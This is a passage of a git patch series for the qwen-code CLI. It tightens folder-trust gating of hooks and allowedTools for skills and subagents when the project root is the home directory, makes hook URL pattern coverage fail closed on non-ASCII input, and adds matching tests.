ASCII, so anything else is + // unprovable and dropped. + expect( + hookUrlPatternCovers( + 'https://fuß.example.com/*', + 'https://fuẞ.example.com/*', + ), + ).toBe(false); + // Identical non-ASCII patterns fail closed too — the runtime matching + // relation is unprovable for them regardless of spelling. + expect( + hookUrlPatternCovers( + 'https://bücher.example.com/*', + 'https://bücher.example.com/*', + ), + ).toBe(false); + // Why this must fail closed: the runtime regex compiled from the + // outer pattern rejects the host that toLowerCase() calls equal. + const runtime = new UrlValidator(['https://fuß.example.com/*']); + expect(runtime.isAllowed('https://fuẞ.example.com/hook')).toBe(false); + }); + it('treats pre-escaped and unescaped spellings as equivalent', () => { expect( hookUrlPatternCovers( diff --git a/packages/core/src/hooks/urlValidator.ts b/packages/core/src/hooks/urlValidator.ts index 6e5286393a1..624719ca331 100644 --- a/packages/core/src/hooks/urlValidator.ts +++ b/packages/core/src/hooks/urlValidator.ts @@ -201,6 +201,10 @@ export function createUrlValidator( * coverage unprovable (the pre-escaped `compilePattern` branch would read * it as raw regex — including a bare `.` that survives the unescaping, * which acts as a wildcard), so such patterns fail closed (return false). + * Non-ASCII patterns fail closed too: the runtime's non-Unicode `/i` case + * folding diverges from the `toLowerCase()` used here for some of them, so + * coverage is unprovable (hook URLs are realistically ASCII — punycode and + * percent-encoded forms are unaffected). * * The comparison is a linear chunk scan — split `outer` on `*` and require * the chunks in `inner` in order, anchored at both ends — never a regex @@ -212,6 +216,18 @@ export function hookUrlPatternCovers( innerPattern: string, ): boolean { const unescape = (pattern: string) => pattern.replace(/\\\./g, '.'); + // The runtime matches with `compilePattern`'s non-Unicode `/i` RegExp, + // whose case folding is a different equivalence relation from + // toLowerCase() for some non-ASCII characters (e.g. ẞ U+1E9E lowers + // to ß U+00DF, so the two hosts fold equal here, but the runtime regex + // never matches them across). A covers verdict built on toLowerCase() + // would let such an inner entry survive the merge while its runtime + // regex admits hosts the outer pattern rejects, so fail closed on any + // non-ASCII input. + const nonAscii = /[\u0080-\uFFFF]/; + if (nonAscii.test(outerPattern) || nonAscii.test(innerPattern)) { + return false; + } const outer = unescape(outerPattern).toLowerCase(); const inner = unescape(innerPattern).toLowerCase(); // `compilePattern` treats everything but `*` as raw regex once a pattern diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index d0a0c8eac09..61c72f70a28 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -2655,6 +2655,67 @@ bad`); await result.dispose(); }); + it('does not register hooks for a user-level subagent when the project root is the home directory', async () => { + // Listing skips the 'project' level when the project root IS the + // home directory, so repository-committed agent files surface at + // 'user' level there; the gate must require folder trust too. + vi.spyOn(mockConfig, 'getProjectRoot').mockReturnValue('/home/user'); + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'user', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).not.toHaveBeenCalled(); + // The agent itself is still created — only the hooks are gated. + expect(result).toHaveProperty('subagent'); + await result.dispose(); + }); + + it('registers hooks for a home-rooted user-level subagent when the folder is trusted', async () => { + vi.spyOn(mockConfig, 'getProjectRoot').mockReturnValue('/home/user'); + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(true); + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'user', + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + mockConfig, + ); + + expect(addAgentHooksSpy).toHaveBeenCalledTimes(1); + await result.dispose(); + }); + it('registers hooks for an extension-level subagent regardless of folder trust', async () => { const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ diff --git a/packages/core/src/subagents/subagent-manager.ts b/packages/core/src/subagents/subagent-manager.ts index b76555ceff2..9763d64c3bd 100644 --- a/packages/core/src/subagents/subagent-manager.ts +++ b/packages/core/src/subagents/subagent-manager.ts @@ -932,9 +932,15 @@ export class SubagentManager { // hooks — and any future or unset level requires trust too. // 'session' agents are supplied by the embedding host (SDK // `agents` option or the control protocol), never loaded from - // repository files, so they sit on the same footing as 'user'. + // repository files, so they sit on the same footing as 'user' — + // except when the project root IS the home directory: listing + // skips 'project' there, so repository-committed agent files + // surface at 'user' level and require trust too. + const homeIsProjectRoot = + path.resolve(runtimeContext.getProjectRoot()) === + path.resolve(os.homedir()); const trustedAgentLevel = - config.level === 'user' || + (config.level === 'user' && !homeIsProjectRoot) || config.level === 'builtin' || config.level === 'extension' || config.level === 'session'; diff --git a/packages/core/src/tools/skill-utils.ts b/packages/core/src/tools/skill-utils.ts index 70bf026edea..9e23897783f 100644 --- a/packages/core/src/tools/skill-utils.ts +++ b/packages/core/src/tools/skill-utils.ts @@ -256,12 +256,15 @@ ${escapeXml(entry.description)} } /** - * Skill levels that never originate from the repository: 'user' lives in + * Skill levels that do not originate from the repository: 'user' lives in * ~/.qwen, 'bundled' ships with the product, and extensions load only - * from the user-scope extensions directory. Side effects of skills at any - * other (or missing) level — allowedTools grants, hooks — are repo- - * controllable, so callers gate them on folder trust and this check fails - * closed. + * from the user-scope extensions directory. One topology breaks the + * 'user' premise: when the project root IS the home directory, listing + * skips the 'project' level and repository-committed skills surface at + * 'user' — callers re-gate that combination on folder trust. Side effects + * of skills at any other (or missing) level — allowedTools grants, hooks + * — are repo-controllable, so callers gate them on folder trust and this + * check fails closed. */ export function isTrustedSkillLevel(level: SkillLevel | undefined): boolean { return level === 'user' || level === 'bundled' || level === 'extension'; diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index e7bf42cecc3..f4cbb855657 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -5,6 +5,7 @@ */ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import * as os from 'os'; import { logSkillLaunch, recordSkillInvocation } from '../telemetry/index.js'; import { SkillTool, type SkillParams } from './skill.js'; import type { PartListUnion } from '@google/genai'; @@ -604,6 +605,51 @@ describe('SkillTool', () => { expect(registerSkillHooks).toHaveBeenCalledTimes(1); }); + it('gates hooks for a user-level skill when the project root is the home directory', async () => { + // SkillManager skips the 'project' level when the project root IS + // the home directory, so repository-committed skills surface at + // 'user' level there; the gate must treat them as repo-supplied. + vi.mocked(config.getProjectRoot).mockReturnValue(os.homedir()); + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...hookedSkill, + level: 'user', + }); + const getSessionHooksManager = vi.fn(); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + const result = await invocation.execute(); + + expect(registerSkillHooks).not.toHaveBeenCalled(); + // The skill itself still loads — only the hooks are gated. + expect(partToString(result.llmContent)).toContain('Body.'); + }); + + it('registers hooks for a home-rooted user-level skill once the folder is trusted', async () => { + vi.mocked(config.getProjectRoot).mockReturnValue(os.homedir()); + vi.mocked(config.isTrustedFolder).mockReturnValue(true); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...hookedSkill, + level: 'user', + }); + const getSessionHooksManager = vi.fn().mockReturnValue({}); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await invocation.execute(); + + expect(registerSkillHooks).toHaveBeenCalledTimes(1); + }); + it('registers hooks for an extension-level skill regardless of folder trust', async () => { // Extensions load only from the user-scope extensions directory, so // they are in the trusted allowlist and must not regress behind the diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index f66895e1c10..0cdb45cfeb4 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -20,6 +20,7 @@ import { SkillLaunchEvent, } from '../telemetry/index.js'; import path from 'path'; +import * as os from 'os'; import { createDebugLogger } from '../utils/debugLogger.js'; import { registerSkillHooks } from '../hooks/registerSkillHooks.js'; import { recordAutoSkillUsage } from '../skills/skill-curator.js'; @@ -373,8 +374,16 @@ class SkillToolInvocation extends BaseToolInvocation { * later invocation once the folder becomes trusted. */ private applySkillSideEffects(skill: SkillConfig): boolean { + // 'user' skills live in ~/.qwen — except when the project root IS the + // home directory: SkillManager skips the 'project' level there, so + // repository-committed skills surface at 'user' level and must be + // gated like project skills. + const homeIsProjectRoot = + path.resolve(this.config.getProjectRoot()) === path.resolve(os.homedir()); const sideEffectsGated = - !isTrustedSkillLevel(skill.level) && !this.config.isTrustedFolder(); + (!isTrustedSkillLevel(skill.level) || + (skill.level === 'user' && homeIsProjectRoot)) && + !this.config.isTrustedFolder(); if (sideEffectsGated) { if (skill.allowedTools?.length) { From eedd9243e7001691e563c703e814252966d7f06f Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Wed, 5 Aug 2026 19:16:40 +0000 Subject: [PATCH 21/21] fix(hooks): make home-root trust gates immune to per-agent root rebinds (#8396) --- .../src/services/SkillCommandLoader.test.ts | 9 +- .../cli/src/services/SkillCommandLoader.ts | 11 +-- .../core/src/skills/skill-manager.test.ts | 21 +++++ packages/core/src/skills/skill-manager.ts | 11 +++ packages/core/src/skills/types.ts | 11 +++ .../src/subagents/subagent-manager.test.ts | 87 +++++++++++++++++-- .../core/src/subagents/subagent-manager.ts | 24 +++-- packages/core/src/subagents/types.ts | 12 +++ packages/core/src/tools/skill.test.ts | 42 +++++++-- packages/core/src/tools/skill.ts | 12 +-- 10 files changed, 207 insertions(+), 33 deletions(-) diff --git a/packages/cli/src/services/SkillCommandLoader.test.ts b/packages/cli/src/services/SkillCommandLoader.test.ts index b8a6ea6404a..13a22335b8c 100644 --- a/packages/cli/src/services/SkillCommandLoader.test.ts +++ b/packages/cli/src/services/SkillCommandLoader.test.ts @@ -604,18 +604,17 @@ describe('SkillCommandLoader', () => { expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); }); - it('does not grant allowedTools for a user-level skill when the project root is the home directory', async () => { + it('does not grant allowedTools for a home-root-shadowed user-level skill in an untrusted folder', async () => { // SkillManager skips the 'project' level when the project root IS // the home directory, so repository-committed skills surface at - // 'user' level there and must stay gated on folder trust. - (mockConfig.getProjectRoot as ReturnType).mockReturnValue( - os.homedir(), - ); + // 'user' level there (tagged `homeRootShadow` at collection time) + // and must stay gated on folder trust. (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( false, ); const skill = makeSkill({ level: 'user', + homeRootShadow: true, allowedTools: ['Bash(git *)', 'Edit'], }); mockSkillManager.listSkills.mockImplementation( diff --git a/packages/cli/src/services/SkillCommandLoader.ts b/packages/cli/src/services/SkillCommandLoader.ts index a8208425270..0c6b43cb3b3 100644 --- a/packages/cli/src/services/SkillCommandLoader.ts +++ b/packages/cli/src/services/SkillCommandLoader.ts @@ -13,8 +13,7 @@ import { isTrustedSkillLevel, recordAutoSkillUsage, } from '@qwen-code/qwen-code-core'; -import * as os from 'node:os'; -import { dirname, resolve } from 'node:path'; +import { dirname } from 'node:path'; import type { ICommandLoader } from './types.js'; import { writeSkillArgs, @@ -160,13 +159,11 @@ export class SkillCommandLoader implements ICommandLoader { // only levels that cannot originate from the repository skip it, // and when the project root IS the home directory, listing skips // 'project' and repository-committed skills surface at 'user' - // level, so that combination is gated too. - const homeIsProjectRoot = - this.config !== null && - resolve(this.config.getProjectRoot()) === resolve(os.homedir()); + // level — SkillManager records that on the skill as + // `homeRootShadow`, so that combination is gated too. if ( (isTrustedSkillLevel(skill.level) && - !(skill.level === 'user' && homeIsProjectRoot)) || + !(skill.level === 'user' && skill.homeRootShadow === true)) || this.config?.isTrustedFolder() ) { applySkillAllowedTools( diff --git a/packages/core/src/skills/skill-manager.test.ts b/packages/core/src/skills/skill-manager.test.ts index d267cafe32d..f94af1c858a 100644 --- a/packages/core/src/skills/skill-manager.test.ts +++ b/packages/core/src/skills/skill-manager.test.ts @@ -780,6 +780,27 @@ Skill 3 content`); expect(projectSkills.every((s) => s.level === 'project')).toBe(true); }); + it('tags user-level skills with homeRootShadow when the project root is the home directory', async () => { + // Listing skips the 'project' level there, so repository-committed + // skills surface at 'user' level; the side-effect trust gates + // consume this flag instead of re-reading the (rebindable) project + // root. + vi.spyOn(mockConfig, 'getProjectRoot').mockReturnValue(TEST_HOME); + + const skills = await manager.listSkills(); + + expect(skills.map((s) => s.name).sort()).toEqual(['skill1', 'skill3']); + expect(skills.every((s) => s.level === 'user')).toBe(true); + expect(skills.every((s) => s.homeRootShadow === true)).toBe(true); + }); + + it('does not tag skills with homeRootShadow in a normal project', async () => { + const skills = await manager.listSkills(); + + expect(skills).toHaveLength(3); // skill1, skill2 (project), skill3 (user) + expect(skills.every((s) => s.homeRootShadow === undefined)).toBe(true); + }); + it('should return a stable alphabetical order regardless of priority (priority only affects the /skills display layer)', async () => { vi.mocked(fs.readdir).mockReset(); mockParseYaml.mockImplementation((yamlString: string) => diff --git a/packages/core/src/skills/skill-manager.ts b/packages/core/src/skills/skill-manager.ts index f44ffc554e1..71ba00d56c3 100644 --- a/packages/core/src/skills/skill-manager.ts +++ b/packages/core/src/skills/skill-manager.ts @@ -1059,6 +1059,17 @@ export class SkillManager { skills.push(skill); } } + // Home-root shadow: when the project root IS the home directory the + // 'project' level was skipped above, so repository-committed skills + // surface at this 'user' level (~/.qwen and /.qwen are the same + // directory). Tag them so the side-effect trust gates recognise + // repo-supplied skills even where a per-agent Config override rebinds + // getProjectRoot() (worktree isolation, working_dir pins). + if (level === 'user' && isHomeDirectory) { + for (const skill of skills) { + skill.homeRootShadow = true; + } + } debugLogger.debug(`Loaded ${skills.length} ${level} level skills`); return skills; } diff --git a/packages/core/src/skills/types.ts b/packages/core/src/skills/types.ts index b8b8b614be5..a22f9b38790 100644 --- a/packages/core/src/skills/types.ts +++ b/packages/core/src/skills/types.ts @@ -69,6 +69,17 @@ export interface SkillConfig { */ level: SkillLevel; + /** + * Set by SkillManager at collection time on 'user'-level skills when the + * project root IS the home directory: listing skips the 'project' level + * there, so repository-committed skills surface at 'user' level. Trust + * gates must treat such skills as repo-supplied; the flag travels with the + * skill so the decision stays correct even where a per-agent Config + * override rebinds `getProjectRoot()` (worktree isolation, working_dir + * pins) and would flip a path-equality recomputation. + */ + homeRootShadow?: boolean; + /** * Absolute path to the skill directory containing SKILL.md */ diff --git a/packages/core/src/subagents/subagent-manager.test.ts b/packages/core/src/subagents/subagent-manager.test.ts index 61c72f70a28..b6236f35ec3 100644 --- a/packages/core/src/subagents/subagent-manager.test.ts +++ b/packages/core/src/subagents/subagent-manager.test.ts @@ -1559,6 +1559,40 @@ You are a helpful assistant.`; path.normalize('/test/project/.qwen/agents/misnamed-file.md'), ); }); + + it('tags user-level agents with homeRootShadow when the project root is the home directory', async () => { + // Listing skips the 'project' level there, so repository-committed + // agent files surface at 'user' level; the spawn-time hooks gate + // consumes this flag instead of re-reading the (rebindable) + // project root. + vi.spyOn(mockConfig, 'getProjectRoot').mockReturnValue('/home/user'); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + vi.mocked(fs.readdir).mockResolvedValue(['test-agent.md'] as any); + vi.mocked(fs.readFile).mockResolvedValue(validMarkdown); + + const config = await manager.loadSubagent('test-agent'); + + expect(config).toBeDefined(); + expect(config!.level).toBe('user'); + expect(config!.filePath).toBe( + path.normalize('/home/user/.qwen/agents/test-agent.md'), + ); + expect(config!.homeRootShadow).toBe(true); + }); + + it('does not tag user-level agents with homeRootShadow in a normal project', async () => { + vi.mocked(fs.readdir) + .mockRejectedValueOnce(new Error('Project dir not found')) + // eslint-disable-next-line @typescript-eslint/no-explicit-any + .mockResolvedValueOnce(['test-agent.md'] as any); + vi.mocked(fs.readFile).mockResolvedValue(validMarkdown); + + const config = await manager.loadSubagent('test-agent'); + + expect(config).toBeDefined(); + expect(config!.level).toBe('user'); + expect(config!.homeRootShadow).toBeUndefined(); + }); }); describe('updateSubagent', () => { @@ -2655,11 +2689,11 @@ bad`); await result.dispose(); }); - it('does not register hooks for a user-level subagent when the project root is the home directory', async () => { + it('does not register hooks for a home-root-shadowed user-level subagent in an untrusted folder', async () => { // Listing skips the 'project' level when the project root IS the // home directory, so repository-committed agent files surface at - // 'user' level there; the gate must require folder trust too. - vi.spyOn(mockConfig, 'getProjectRoot').mockReturnValue('/home/user'); + // 'user' level there and are tagged `homeRootShadow`; the gate + // must require folder trust too. const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), @@ -2670,6 +2704,7 @@ bad`); { ...baseConfig, level: 'user', + homeRootShadow: true, hooks: { PreToolUse: [ { @@ -2688,8 +2723,7 @@ bad`); await result.dispose(); }); - it('registers hooks for a home-rooted user-level subagent when the folder is trusted', async () => { - vi.spyOn(mockConfig, 'getProjectRoot').mockReturnValue('/home/user'); + it('registers hooks for a home-root-shadowed user-level subagent when the folder is trusted', async () => { const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), @@ -2700,6 +2734,7 @@ bad`); { ...baseConfig, level: 'user', + homeRootShadow: true, hooks: { PreToolUse: [ { @@ -2716,6 +2751,48 @@ bad`); await result.dispose(); }); + it('keeps hooks gated when the spawn context rebinds getProjectRoot (worktree isolation)', async () => { + // Worktree-isolation / working_dir spawns pass a per-agent Config + // override whose getProjectRoot is rebound to the worktree path + // (agent.ts, InProcessBackend, workflow-orchestrator). The gate + // must consume the listing-time `homeRootShadow` flag instead of + // re-deriving the shadow from that rebound value — otherwise a + // home-rooted repo agent surfaced at 'user' level, spawned with + // isolation: 'worktree' in an untrusted folder, would register + // its hooks session-wide. + const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); + vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ + getRegistry: () => ({ addAgentHooks: addAgentHooksSpy }), + } as unknown as ReturnType); + vi.spyOn(mockConfig, 'isTrustedFolder').mockReturnValue(false); + + const reboundContext = Object.create(mockConfig) as Config; + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (reboundContext as any).getProjectRoot = () => + '/test/project/.qwen/worktrees/agent-x'; + + const result = await manager.createAgentHeadless( + { + ...baseConfig, + level: 'user', + homeRootShadow: true, + hooks: { + PreToolUse: [ + { + matcher: 'Bash', + hooks: [{ type: 'command', command: 'echo' }], + }, + ], + }, + }, + reboundContext, + ); + + expect(addAgentHooksSpy).not.toHaveBeenCalled(); + expect(result).toHaveProperty('subagent'); + await result.dispose(); + }); + it('registers hooks for an extension-level subagent regardless of folder trust', async () => { const addAgentHooksSpy = vi.fn().mockReturnValue(vi.fn()); vi.spyOn(mockConfig, 'getHookSystem').mockReturnValue({ diff --git a/packages/core/src/subagents/subagent-manager.ts b/packages/core/src/subagents/subagent-manager.ts index 9763d64c3bd..73b7c0ed4c9 100644 --- a/packages/core/src/subagents/subagent-manager.ts +++ b/packages/core/src/subagents/subagent-manager.ts @@ -935,12 +935,14 @@ export class SubagentManager { // repository files, so they sit on the same footing as 'user' — // except when the project root IS the home directory: listing // skips 'project' there, so repository-committed agent files - // surface at 'user' level and require trust too. - const homeIsProjectRoot = - path.resolve(runtimeContext.getProjectRoot()) === - path.resolve(os.homedir()); + // surface at 'user' level and require trust too. Listing records + // that case as `homeRootShadow`; recomputing it here from + // `runtimeContext.getProjectRoot()` would read the per-agent + // override that worktree isolation / working_dir provisioning + // rebinds to the worktree path, opening the gate for exactly the + // repo-supplied agents the shadow surfaced. const trustedAgentLevel = - (config.level === 'user' && !homeIsProjectRoot) || + (config.level === 'user' && config.homeRootShadow !== true) || config.level === 'builtin' || config.level === 'extension' || config.level === 'session'; @@ -1391,6 +1393,18 @@ export class SubagentManager { } } + // Home-root shadow: when the project root IS the home directory the + // 'project' level was skipped above, so repository-committed agent + // files surface at this 'user' level. Tag them so the hooks trust + // gate at spawn time stays correct even when the spawn path rebinds + // getProjectRoot() on a per-agent override (worktree isolation, + // working_dir pins). Mirrors SkillManager.listSkillsAtLevel. + if (level === 'user' && isHomeDirectory) { + for (const subagent of subagents) { + subagent.homeRootShadow = true; + } + } + return subagents; } catch (_error) { // Directory doesn't exist or can't be read diff --git a/packages/core/src/subagents/types.ts b/packages/core/src/subagents/types.ts index eeb11472a10..7fac6c5fab0 100644 --- a/packages/core/src/subagents/types.ts +++ b/packages/core/src/subagents/types.ts @@ -94,6 +94,18 @@ export interface SubagentConfig { /** Storage level - determines where the configuration file is stored */ level: SubagentLevel; + /** + * Set by SubagentManager at collection time on 'user'-level agents when + * the project root IS the home directory: listing skips the 'project' + * level there, so repository-committed agent files surface at 'user' + * level. The hooks trust gate must treat such agents as repo-supplied; + * the flag travels with the agent so the decision stays correct even + * where a per-agent Config override rebinds `getProjectRoot()` (worktree + * isolation, working_dir pins) and would flip a path-equality + * recomputation. Not serialized to frontmatter. + */ + homeRootShadow?: boolean; + /** Absolute path to the configuration file. Optional for session subagents. */ filePath?: string; diff --git a/packages/core/src/tools/skill.test.ts b/packages/core/src/tools/skill.test.ts index f4cbb855657..ea51935360a 100644 --- a/packages/core/src/tools/skill.test.ts +++ b/packages/core/src/tools/skill.test.ts @@ -5,7 +5,6 @@ */ import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; -import * as os from 'os'; import { logSkillLaunch, recordSkillInvocation } from '../telemetry/index.js'; import { SkillTool, type SkillParams } from './skill.js'; import type { PartListUnion } from '@google/genai'; @@ -605,15 +604,16 @@ describe('SkillTool', () => { expect(registerSkillHooks).toHaveBeenCalledTimes(1); }); - it('gates hooks for a user-level skill when the project root is the home directory', async () => { + it('gates hooks for a home-root-shadowed user-level skill in an untrusted folder', async () => { // SkillManager skips the 'project' level when the project root IS // the home directory, so repository-committed skills surface at - // 'user' level there; the gate must treat them as repo-supplied. - vi.mocked(config.getProjectRoot).mockReturnValue(os.homedir()); + // 'user' level there and are tagged `homeRootShadow`; the gate + // must treat them as repo-supplied. vi.mocked(config.isTrustedFolder).mockReturnValue(false); vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ ...hookedSkill, level: 'user', + homeRootShadow: true, }); const getSessionHooksManager = vi.fn(); vi.mocked(config.getHookSystem).mockReturnValue({ @@ -630,12 +630,12 @@ describe('SkillTool', () => { expect(partToString(result.llmContent)).toContain('Body.'); }); - it('registers hooks for a home-rooted user-level skill once the folder is trusted', async () => { - vi.mocked(config.getProjectRoot).mockReturnValue(os.homedir()); + it('registers hooks for a home-root-shadowed user-level skill once the folder is trusted', async () => { vi.mocked(config.isTrustedFolder).mockReturnValue(true); vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ ...hookedSkill, level: 'user', + homeRootShadow: true, }); const getSessionHooksManager = vi.fn().mockReturnValue({}); vi.mocked(config.getHookSystem).mockReturnValue({ @@ -650,6 +650,36 @@ describe('SkillTool', () => { expect(registerSkillHooks).toHaveBeenCalledTimes(1); }); + it('keeps hooks gated when the subagent config rebinds getProjectRoot (worktree isolation)', async () => { + // Inside a worktree-isolated / working_dir-pinned subagent the + // SkillTool runs on a per-agent Config override whose + // getProjectRoot is rebound to the worktree path. The gate must + // consume the listing-time `homeRootShadow` flag instead of + // re-deriving the shadow from that rebound value — otherwise a + // home-rooted repo skill surfaced at 'user' level would register + // its hooks on the parent session despite the untrusted folder. + vi.mocked(config.getProjectRoot).mockReturnValue( + '/test/project/.qwen/worktrees/agent-x', + ); + vi.mocked(config.isTrustedFolder).mockReturnValue(false); + vi.mocked(mockSkillManager.loadSkillForRuntime).mockResolvedValue({ + ...hookedSkill, + level: 'user', + homeRootShadow: true, + }); + const getSessionHooksManager = vi.fn(); + vi.mocked(config.getHookSystem).mockReturnValue({ + getSessionHooksManager, + } as unknown as ReturnType); + + const invocation = ( + skillTool as SkillToolWithProtectedMethods + ).createInvocation({ skill: 'hooked' }); + await invocation.execute(); + + expect(registerSkillHooks).not.toHaveBeenCalled(); + }); + it('registers hooks for an extension-level skill regardless of folder trust', async () => { // Extensions load only from the user-scope extensions directory, so // they are in the trusted allowlist and must not regress behind the diff --git a/packages/core/src/tools/skill.ts b/packages/core/src/tools/skill.ts index 0cdb45cfeb4..2df9ec83516 100644 --- a/packages/core/src/tools/skill.ts +++ b/packages/core/src/tools/skill.ts @@ -20,7 +20,6 @@ import { SkillLaunchEvent, } from '../telemetry/index.js'; import path from 'path'; -import * as os from 'os'; import { createDebugLogger } from '../utils/debugLogger.js'; import { registerSkillHooks } from '../hooks/registerSkillHooks.js'; import { recordAutoSkillUsage } from '../skills/skill-curator.js'; @@ -377,12 +376,15 @@ class SkillToolInvocation extends BaseToolInvocation { // 'user' skills live in ~/.qwen — except when the project root IS the // home directory: SkillManager skips the 'project' level there, so // repository-committed skills surface at 'user' level and must be - // gated like project skills. - const homeIsProjectRoot = - path.resolve(this.config.getProjectRoot()) === path.resolve(os.homedir()); + // gated like project skills. SkillManager records that case on the + // skill at collection time (`homeRootShadow`); recomputing it from + // `this.config.getProjectRoot()` would trust the per-agent override + // this tool runs on inside subagents — worktree isolation and + // working_dir pins rebind `getProjectRoot()` to the worktree path, + // which would flip the detection and open the gate. const sideEffectsGated = (!isTrustedSkillLevel(skill.level) || - (skill.level === 'user' && homeIsProjectRoot)) && + (skill.level === 'user' && skill.homeRootShadow === true)) && !this.config.isTrustedFolder(); if (sideEffectsGated) {